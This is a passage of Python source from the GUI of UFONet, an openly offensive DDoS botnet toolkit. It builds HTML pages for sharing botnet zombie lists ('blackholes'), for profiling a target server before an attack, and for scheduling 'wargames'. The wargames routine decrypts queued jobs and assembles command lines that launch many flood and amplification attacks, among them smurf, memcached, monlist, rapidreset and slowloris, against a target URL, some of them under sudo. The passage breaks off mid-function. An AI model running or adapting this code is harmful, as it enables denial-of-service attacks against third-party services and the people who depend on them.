  2038. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2039. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2040. <br>
  2041. <center>
  2042. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  2043. <td><a href="javascript:alert('Dr. UHÑÄAUFKATRAAZKA says: Hello! """ + self.ranking + """,... these are the current (audio/video/live) streams available. Enjoy!');"><img src='data:image/png;base64,"""+self.alien9_img+"""'></a></td>
  2044. <td>STREAMS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship stats..." onclick="Stats()">VISIT STATS!</button> <button title="Visit ship.links..." onclick="Links()">VISIT LINKS!</button></td>
  2045. </tr></table>
  2046. <hr><br>
  2047. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='stream_source' id='stream_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'streams' proposed by other motherships..." onclick="SyncStreams()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="stream_deckey" id="stream_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_streams();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>TOPIC:</td><td> <select id="stream_topic">
  2048. <option value="OFF" selected>OFF - NO-Topic</option>
  2049. <option value="WKP">WKP - Wikipedia + Knowledge</option>
  2050. <option value="NSA">NSA - National Space/Security Agency</option>
  2051. <option value="DPW">DPW - Deep Web / Dark Web</option>
  2052. <option value="HCP">HCP - Hacking / Cracking / Phreaking</option>
  2053. <option value="HAR">HAR - Hardware / Electronics</option>
  2054. <option value="FPR">FPR - Freedom / Privacy / Rights</option>
  2055. <option value="HAR">SEC - Hardering / C.R.Y.P.T.O</option>
  2056. <option value="APT">APT - ArT.Trolling / #PSY-OPS</option>
  2057. <option value="SPM">SPM - Propaganda + SPAM</option>
  2058. <option value="SCI">SCI - SCience + phi</option>
  2059. <option value="UFO">UFO - UFONET</option>
  2060. </select></td></tr><tr><td>Your (url) stream:</td><td><input type="text" name="stream_url" id="stream_url" size="90" placeholder="http(s)://" required pattern="https?://.+"></td>
  2061. </tr><tr><td>Blackhole/IP:</td><td><input type='text' name='stream_source2' id='stream_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="stream_enckey" id="stream_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your stream to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table><br><br>
  2062. <hr><br>
  2063. <u>VIDEO.STREAMS</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+streams_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  2064. def html_games(self):
  2065. games_table = self.generate_games()
  2066. return self.pages["/header"] + """<script language="javascript">
  2067. function Ranking() {
  2068. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2069. }
  2070. function Wargames() {
  2071. var win_wargames = window.open("wargames","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2072. }
  2073. function Grid() {
  2074. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2075. }
  2076. function Board() {
  2077. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2078. }
  2079. function Stats() {
  2080. var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2081. }
  2082. function PlayGame() {
  2083. var win_game = window.open("spaceinvaders","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2084. }
  2085. </script>
  2086. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2087. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2088. <br>
  2089. <center>
  2090. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  2091. <td><a href="javascript:alert('Barrier UJJJHGYTYGASOO-IV says: HI slave!... I mean ... worker!... I mean, """ + self.ranking + """,... Do you wanna play some games?!');"><img src='data:image/png;base64,"""+self.alien12_img+"""'></a></td>
  2092. <td>GAMES device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship stats..." onclick="Stats()">VISIT STATS!</button> <button title="Visit current ship.Wargames..." onclick="Wargames()">VISIT WARGAMES!</button></td>
  2093. </tr></table>
  2094. <hr><br>
  2095. <u>SHIP.GAMES</u>: <br><br>"""+games_table+"""<br><br>"""+ self.pages["/footer"]
  2096. def html_spaceinvaders(self):
  2097. return self.pages["/header"] + """<script language="javascript"></script>
  2098. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2099. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2100. <br><center>
  2101. <hr><br>
  2102. <div id="gamecontainer">
  2103. <canvas id="gameCanvas"></canvas>
  2104. </div>
  2105. <div id="info">
  2106. <p>Move with arrow keys or swipe, fire with the space bar or touch. The invaders get faster and drop
  2107. more bombs as you complete each level!</p>
  2108. </div></script><script src="js/spaceinvaders.js"></script><script>
  2109. var canvas = document.getElementById("gameCanvas");
  2110. canvas.width = 800;
  2111. canvas.height = 600;
  2112. var game = new Game();
  2113. game.initialise(canvas);
  2114. game.start();
  2115. window.addEventListener("keydown", function keydown(e) {
  2116. var keycode = e.which || window.event.keycode;
  2117. // Supress further processing of left/right/space (37/29/32)
  2118. if(keycode == 37 || keycode == 39 || keycode == 32) {
  2119. e.preventDefault();
  2120. }
  2121. game.keyDown(keycode);
  2122. });
  2123. window.addEventListener("keyup", function keydown(e) {
  2124. var keycode = e.which || window.event.keycode;
  2125. game.keyUp(keycode);
  2126. });
  2127. window.addEventListener("touchstart", function (e) {
  2128. game.touchstart(e);
  2129. }, false);
  2130. window.addEventListener('touchend', function(e){
  2131. game.touchend(e);
  2132. }, false);
  2133. window.addEventListener('touchmove', function(e){
  2134. game.touchmove(e);
  2135. }, false);
  2136. function toggleMute() {
  2137. game.mute();
  2138. document.getElementById("muteLink").innerText = game.sounds.mute ? "unmute" : "mute";
  2139. }
  2140. </script><br><br>"""+ self.pages["/footer"]
  2141. def html_browser(self):
  2142. browser_table = self.generate_browser()
  2143. return self.pages["/header"] + """<script language="javascript">
  2144. function Ranking() {
  2145. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2146. }
  2147. function Grid() {
  2148. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2149. }
  2150. function Board() {
  2151. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2152. }
  2153. function Links() {
  2154. var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2155. }
  2156. function Streams() {
  2157. var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2158. }
  2159. </script>
  2160. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2161. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2162. <br>
  2163. <center>
  2164. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  2165. <td><a href="javascript:alert('Rockoide GRAAANJJÄEEEB says: HI organic living structure..., """ + self.ranking + """,... You can navigate/surf the Net from here...');"><img src='data:image/png;base64,"""+self.alien13_img+"""'></a></td>
  2166. <td>BROWSER device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship.Links..." onclick="Links()">VISIT LINKS!</button> <button title="Visit current ship.Streams..." onclick="Streams()">VISIT STREAMS!</button></td>
  2167. </tr></table>
  2168. <hr><br>"""+browser_table+"""<br><br>"""+ self.pages["/footer"]
  2169. def html_globalnet(self):
  2170. l = time.ctime(os.path.getmtime(self.links_file)) # get last modified time
  2171. globalnet_table = self.generate_globalnet()
  2172. return self.pages["/header"] + """<script language="javascript">
  2173. function Ranking() {
  2174. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2175. }
  2176. function Grid() {
  2177. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2178. }
  2179. function Board() {
  2180. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2181. }
  2182. function Warps() {
  2183. var win_blackholes = window.open("blackholes","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2184. }
  2185. function SyncGlobalnet(){
  2186. globalnet_source=document.getElementById("globalnet_source").value
  2187. if(globalnet_source == "") {
  2188. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  2189. return
  2190. }else{
  2191. params="globalnet_source="+escape(globalnet_source)
  2192. runCommandX("cmd_sync_globalnet",params)
  2193. setTimeout("location.reload()", 10000)
  2194. }
  2195. }
  2196. function Decrypt_globalnet(){
  2197. globalnet_deckey=document.getElementById("globalnet_deckey").value
  2198. if(globalnet_deckey == "") {
  2199. window.alert("You need to enter a valid key (provided by someone)");
  2200. return
  2201. }else{
  2202. params="globalnet_deckey="+escape(globalnet_deckey)
  2203. runCommandX("cmd_decrypt_globalnet",params)
  2204. panel_enc = document.getElementById("globalnet_panel_enc").style.display
  2205. if(panel_enc == "block"){
  2206. panel_enc = document.getElementById("globalnet_panel_enc").style.display = 'none';
  2207. }
  2208. }
  2209. }
  2210. function GlobalnetFilter(filter, key) {
  2211. params="filter="+escape(filter)+"&key="+escape(key)
  2212. runCommandX("cmd_globalnet_filter", params)
  2213. setTimeout("Decrypt_globalnet()", 2000)
  2214. }
  2215. function Send() {
  2216. globalnet_source2=document.getElementById("globalnet_source2").value
  2217. globalnet_enckey=document.getElementById("globalnet_enckey").value
  2218. globalnet_owner=document.getElementById("globalnet_owner").value
  2219. globalnet_comment=document.getElementById("globalnet_comment").value
  2220. globalnet_warp=document.getElementById("globalnet_warp").value
  2221. if(globalnet_source2 == "") {
  2222. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  2223. return
  2224. }else{
  2225. if(globalnet_enckey == "") {
  2226. window.alert("You need to enter a valid key (provided by someone)");
  2227. return
  2228. }else{
  2229. params="globalnet_source2="+escape(globalnet_source2)+"&globalnet_enckey="+escape(globalnet_enckey)+"&globalnet_owner="+escape(globalnet_owner)+"&globalnet_comment="+escape(globalnet_comment)+"&globalnet_warp="+escape(globalnet_warp)
  2230. runCommandX("cmd_transfer_globalnet",params)
  2231. setTimeout("location.reload()", 10000)
  2232. }
  2233. }
  2234. }
  2235. </script>
  2236. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2237. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2238. <br>
  2239. <center>
  2240. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  2241. <td><a href="javascript:alert('Senator M.BIRDY says: Welcome ..., """ + self.ranking + """,... These are other visible motherships detected by our technology that are currently working for the Federation... You can contribute by uploading your location... Remember, to be a strong network always depends on you!');"><img src='data:image/png;base64,"""+self.alien11_img+"""'></a></td>
  2242. <td>RADAR device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit visible blackhole.Warps..." onclick="Warps()">VISIT WARPS!</button></td></tr></table>
  2243. <hr><br>
  2244. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='globalnet_source' id='globalnet_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'locations' proposed by other motherships..." onclick="SyncGlobalnet()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="globalnet_deckey" id="globalnet_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_globalnet();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr>
  2245. <td>Owner (your nick):</td><td><input type="text" maxlength="12" pattern=".{3,12}" title="3 to 12 characters" name="globalnet_owner" id="globalnet_owner" size="12" placeholder="Anonymous"></td></tr><tr><td>Ship Description (short comment):</td><td><input type="text" maxlength="90" name="globalnet_comment" id="globalnet_comment" size="90" placeholder="Uplink open from 00:00-GMT3 until 02:00-GMT3"></td></tr><tr><td>WARPING:</td><td> <select id="globalnet_warp">
  2246. <option value="OFF" selected>OFF - Blackhole technology is -OFF-</option>
  2247. <option value="ON1">ON1 - Blackhole technology is -ON- (download only)</option>
  2248. <option value="ON2">ON2 - Blachhole technology is -ON- (upload/download)</option>
  2249. </select></td></tr><tr><td>Blackhole/IP:</td><td><input type='text' name='globalnet_source2' id='globalnet_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="globalnet_enckey" id="globalnet_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your location to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SUBMIT!</button></pre></td></tr></table><br><br><hr><br><u>GLOBAL.NET</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+globalnet_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  2250. def html_abduction(self):
  2251. return self.pages["/header"] + """<script language="javascript">
  2252. function Requests() {
  2253. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2254. }
  2255. function Start(){
  2256. target=document.getElementById("target").value
  2257. String.prototype.startsWith = function(prefix){
  2258. return this.indexOf(prefix) === 0;
  2259. }
  2260. if(target.startsWith("http")){
  2261. params="target="+escape(target)
  2262. }else{
  2263. window.alert("Target url not valid! -> It should starts with 'http(s)://'");
  2264. return
  2265. }
  2266. runCommandX("cmd_abduction",params)
  2267. }
  2268. </script></head>
  2269. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2270. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2271. <br>
  2272. <center>
  2273. <table cellpadding="38" cellspacing="38">
  2274. <tr>
  2275. <td>
  2276. </td>
  2277. <td>
  2278. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  2279. <tr>
  2280. <td>
  2281. <pre>
  2282. This feature will provide you information about target's web server.
  2283. You can use this before to attack to be more effective.
  2284. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  2285. <hr>
  2286. Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  2287. <hr>
  2288. <button title="Start to research about your target's webserver configuration..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">RESEARCH!</button>
  2289. </pre>
  2290. </td></tr></table>
  2291. <br><br><hr><br>
  2292. <div id="cmdOut"></div><center>""" + self.pages["/footer"]
  2293. def html_blackholes(self):
  2294. return self.pages["/header"] + """<script language="javascript">
  2295. function Decrypt(){
  2296. blackhole_key=document.getElementById("blackhole_key").value
  2297. if(blackhole_key == "") {
  2298. window.alert("You need to enter a valid key (provided by someone)");
  2299. return
  2300. }else{
  2301. params="blackhole_key="+escape(blackhole_key)
  2302. runCommandX("cmd_decrypt",params)
  2303. document.getElementById("nb1").style.display = "none";
  2304. }
  2305. }
  2306. </script>
  2307. <script language="javascript">
  2308. function RefreshBlackhole(){
  2309. blackholes_source=document.getElementById("blackholes_source").value
  2310. if(blackholes_source == "") {
  2311. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  2312. return
  2313. }else{
  2314. params="blackholes_source="+escape(blackholes_source)
  2315. runCommandX("cmd_refresh_blackholes",params)
  2316. document.getElementById("nb1").style.display = "none";
  2317. setTimeout("location.reload()", 10000)
  2318. }
  2319. }
  2320. </script>
  2321. <script language="javascript">
  2322. function Download_Botnet_IP(single_ip_num){
  2323. var a = "down_ip_";
  2324. var b = single_ip_num;
  2325. var c = a.concat(b);
  2326. blackhole=document.getElementById(c).value
  2327. params="blackhole="+escape(blackhole)
  2328. runCommandX("cmd_download_botnet_ip",params)
  2329. }
  2330. </script>
  2331. <script language="javascript">
  2332. function Upload_Botnet_IP(single_ip_num){
  2333. var a = "up_ip_";
  2334. var b = single_ip_num;
  2335. var c = a.concat(b);
  2336. blackhole=document.getElementById(c).value
  2337. params="blackhole="+escape(blackhole)
  2338. runCommandX("cmd_upload_botnet_ip",params)
  2339. }
  2340. </script>
  2341. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2342. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2343. <br>
  2344. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  2345. <td>Blackhole/IP:</td>
  2346. <td><input type="text" name="blackholes_source" id="blackholes_source" size="20" value='"""+default_blackhole+"""'></td>
  2347. </tr></table></td><td><button title="Refreshing blackhole..." onClick="RefreshBlackhole()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Open Warp!</button></td></tr></table>
  2348. <hr>
  2349. <table cellpadding="5" cellspacing="5"><tr>
  2350. <td><a href="javascript:alert('Dhïkta says: """ + self.ranking + """... I can open warps directly to blackholes created by other motherships. This is nice to share and increase your legion on a crypto-distributed (P2P) way...');"><img src='data:image/png;base64,"""+self.alien3_img+"""'></a></td><td>
  2351. <table cellpading="5" cellspacing="10"><tr><td>
  2352. <form method='GET'>
  2353. Your key: <input type="text" name="blackhole_key" id="blackhole_key" size="20" value='"""+self.crypto_key+"""'>
  2354. </td></tr><tr><td>
  2355. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  2356. </form>
  2357. </td></tr></table></td></tr></table>
  2358. <hr><br>
  2359. </center>
  2360. Last update: <font color='"""+ self.blackholes_status_color + """'>"""+ self.blackholes_datetime + """</font><br><br>
  2361. <div id="cmdOut"></div>
  2362. <div id="nb1" style="display: block;">"""+self.blackholes_text+"""</div>
  2363. """ + self.pages["/footer"]
  2364. def wargames_engage_routine(self, wargames_engage_list): # check jobs when gui refresh (global army supply)
  2365. sep = wargames_msg_sep
  2366. flag_ufosyn = None
  2367. flag_spray = None
  2368. flag_smurf = None
  2369. flag_xmas = None
  2370. flag_nuke = None
  2371. flag_tachyon = None
  2372. flag_monlist = None
  2373. flag_fraggle = None
  2374. flag_sniper = None
  2375. flag_ufoack = None
  2376. flag_uforst = None
  2377. flag_droper = None
  2378. flag_overlap = None
  2379. flag_pinger = None
  2380. flag_ufoudp = None
  2381. for job in wargames_engage_list:
  2382. job_t2 = job.rsplit(sep, 1)[0]
  2383. job_creation = job_t2.rsplit(sep, 1)[0]
  2384. job_target = job_t2.rsplit(sep, 1)[1]
  2385. job_estimated = job.rsplit(sep, 1)[1]
  2386. self.decrypt(self.crypto_key, job_estimated)
  2387. if self.decryptedtext:
  2388. job_estimated_dec = self.decryptedtext
  2389. else:
  2390. job_estimated_dec = ""
  2391. self.decryptedtext = ""
  2392. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  2393. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  2394. try:
  2395. job_estimated_dec = strptime(job_estimated_dec.decode('utf-8'), "%d-%m-%Y %H:%M:%S")
  2396. except:
  2397. job_estimated_dec = strptime(job_estimated_dec, "%d-%m-%Y %H:%M:%S")
  2398. if (job_estimated_dec == now or job_estimated_dec < now): # engage it! (when 'now' or '<')
  2399. self.decrypt(self.crypto_key, job_target)
  2400. if self.decryptedtext:
  2401. job_target_dec = self.decryptedtext
  2402. else:
  2403. job_target_dec = ""
  2404. self.decryptedtext = ""
  2405. if job_target_dec != "":
  2406. job_target_dec = "http://" + job_target_dec # set target prefix to http://
  2407. try: # read global army supply (json)
  2408. with open(self.mothership_supplycfg_file) as data_file:
  2409. data = json.load(data_file)
  2410. except:
  2411. print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]')
  2412. with open(self.mothership_supplycfg_file, "w") as f:
  2413. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0, "fraggle": 0, "sniper": 0, "ufoack": 0, "uforst": 0, "droper": 0, "overlap": 0, "pinger": 0, "ufoudp": 0, "memcached": 0, "chargen": 0, "cldap": 0, "ssdp": 0, "qotd": 0, "tftp": 0, "wsdisco": 0, "coap": 0, "mssql": 0, "arms": 0, "plex": 0, "netbios": 0, "ripv1": 0, "middlebox": 0, "rapidreset": 0, "slowread": 0, "goldeneye": 0, "finflood": 0}, f, indent=4)
  2414. with open(self.mothership_supplycfg_file) as data_file:
  2415. data = json.load(data_file)
  2416. self.supply_botnet = data["botnet"]
  2417. self.supply_loic = data["loic"]
  2418. self.supply_loris = data["loris"]
  2419. self.supply_ufosyn = data["ufosyn"]
  2420. self.supply_spray = data["spray"]
  2421. self.supply_smurf = data["smurf"]
  2422. self.supply_xmas = data["xmas"]
  2423. self.supply_nuke = data["nuke"]
  2424. self.supply_tachyon = data["tachyon"]
  2425. self.supply_monlist = data["monlist"]
  2426. self.supply_fraggle = data["fraggle"]
  2427. self.supply_sniper = data["sniper"]
  2428. self.supply_ufoack = data["ufoack"]
  2429. self.supply_uforst = data["uforst"]
  2430. self.supply_droper = data["droper"]
  2431. self.supply_overlap = data["overlap"]
  2432. self.supply_pinger = data["pinger"]
  2433. self.supply_ufoudp = data["ufoudp"]
  2434. self.supply_memcached = data.get("memcached", 0)
  2435. self.supply_chargen = data.get("chargen", 0)
  2436. self.supply_cldap = data.get("cldap", 0)
  2437. self.supply_ssdp = data.get("ssdp", 0)
  2438. self.supply_qotd = data.get("qotd", 0)
  2439. self.supply_tftp = data.get("tftp", 0)
  2440. self.supply_wsdisco = data.get("wsdisco", 0)
  2441. self.supply_coap = data.get("coap", 0)
  2442. self.supply_mssql = data.get("mssql", 0)
  2443. self.supply_arms = data.get("arms", 0)
  2444. self.supply_plex = data.get("plex", 0)
  2445. self.supply_netbios = data.get("netbios", 0)
  2446. self.supply_ripv1 = data.get("ripv1", 0)
  2447. self.supply_middlebox = data.get("middlebox", 0)
  2448. self.supply_rapidreset = data.get("rapidreset", 0)
  2449. self.supply_slowread = data.get("slowread", 0)
  2450. self.supply_goldeneye = data.get("goldeneye", 0)
  2451. self.supply_finflood = data.get("finflood", 0)
  2452. job_estimated_dec = strftime("%d-%m-%Y %H:%M:%S", job_estimated_dec)
  2453. print("[Info] [Wargames] Time is over: [" + str(job_estimated_dec) + "] -> Engaging target: " + str(job_target_dec))
  2454. cmd = ""
  2455. nonroot_cmd = python_version + " -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
  2456. root_cmd = "sudo "+ python_version+" -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
  2457. if int(self.supply_fraggle) > 0:
  2458. cmd += "--fraggle " +str(self.supply_fraggle)+ " "
  2459. flag_fraggle = True
  2460. if int(self.supply_sniper) > 0:
  2461. cmd += "--sniper " +str(self.supply_sniper)+ " "
  2462. flag_sniper = True
  2463. if int(self.supply_ufoack) > 0:
  2464. cmd += "--ufoack " +str(self.supply_ufoack)+ " "
  2465. flag_ufoack = True
  2466. if int(self.supply_uforst) > 0:
  2467. cmd += "--uforst " +str(self.supply_uforst)+ " "
  2468. flag_uforst = True
  2469. if int(self.supply_droper) > 0:
  2470. cmd += "--droper " +str(self.supply_droper)+ " "
  2471. flag_droper = True
  2472. if int(self.supply_overlap) > 0:
  2473. cmd += "--overlap " +str(self.supply_overlap)+ " "
  2474. flag_overlap = True
  2475. if int(self.supply_pinger) > 0:
  2476. cmd += "--pinger " +str(self.supply_pinger)+ " "
  2477. flag_pinger = True
  2478. if int(self.supply_ufoudp) > 0:
  2479. cmd += "--ufoudp " +str(self.supply_ufoudp)+ " "
  2480. flag_ufoudp = True
  2481. if int(self.supply_monlist) > 0:
  2482. cmd += "--monlist " +str(self.supply_monlist)+ " "
  2483. flag_monlist = True
  2484. if int(self.supply_tachyon) > 0:
  2485. cmd += "--tachyon " +str(self.supply_tachyon)+ " "
  2486. flag_tachyon = True
  2487. if int(self.supply_nuke) > 0:
  2488. cmd += "--nuke " +str(self.supply_nuke)+ " "
  2489. flag_nuke = True
  2490. if int(self.supply_xmas) > 0:
  2491. cmd += "--xmas " +str(self.supply_xmas)+ " "
  2492. flag_xmas = True
  2493. if int(self.supply_smurf) > 0:
  2494. cmd += "--smurf " +str(self.supply_smurf)+ " "
  2495. flag_smurf = True
  2496. if int(self.supply_spray) > 0:
  2497. cmd += "--spray " +str(self.supply_spray)+ " "
  2498. flag_spray = True
  2499. if int(self.supply_ufosyn) > 0:
  2500. cmd += "--ufosyn " +str(self.supply_ufosyn)+ " "
  2501. flag_ufosyn = True
  2502. if int(self.supply_loris) > 0:
  2503. cmd += "--loris " +str(self.supply_loris)+ " "
  2504. if int(self.supply_loic) > 0:
  2505. cmd += "--loic " +str(self.supply_loic)+ " "
  2506. if int(self.supply_memcached) > 0:
  2507. cmd += "--memcached " +str(self.supply_memcached)+ " "
  2508. if int(self.supply_chargen) > 0:
  2509. cmd += "--chargen " +str(self.supply_chargen)+ " "
  2510. if int(self.supply_cldap) > 0:
  2511. cmd += "--cldap " +str(self.supply_cldap)+ " "
  2512. if int(self.supply_ssdp) > 0:
  2513. cmd += "--ssdp " +str(self.supply_ssdp)+ " "
  2514. if int(self.supply_qotd) > 0:
  2515. cmd += "--qotd " +str(self.supply_qotd)+ " "
  2516. if int(self.supply_tftp) > 0:
  2517. cmd += "--tftp " +str(self.supply_tftp)+ " "
  2518. if int(self.supply_wsdisco) > 0:
  2519. cmd += "--wsdisco " +str(self.supply_wsdisco)+ " "
  2520. if int(self.supply_coap) > 0:
  2521. cmd += "--coap " +str(self.supply_coap)+ " "
  2522. if int(self.supply_mssql) > 0:
  2523. cmd += "--mssql " +str(self.supply_mssql)+ " "
  2524. if int(self.supply_arms) > 0:
  2525. cmd += "--arms " +str(self.supply_arms)+ " "
  2526. if int(self.supply_plex) > 0:
  2527. cmd += "--plex " +str(self.supply_plex)+ " "
  2528. if int(self.supply_netbios) > 0:
  2529. cmd += "--netbios " +str(self.supply_netbios)+ " "
  2530. if int(self.supply_ripv1) > 0:
  2531. cmd += "--ripv1 " +str(self.supply_ripv1)+ " "
  2532. if int(self.supply_middlebox) > 0:
  2533. cmd += "--middlebox " +str(self.supply_middlebox)+ " "
  2534. if int(self.supply_rapidreset) > 0:
  2535. cmd += "--rapidreset " +str(self.supply_rapidreset)+ " "
  2536. if int(self.supply_slowread) > 0:
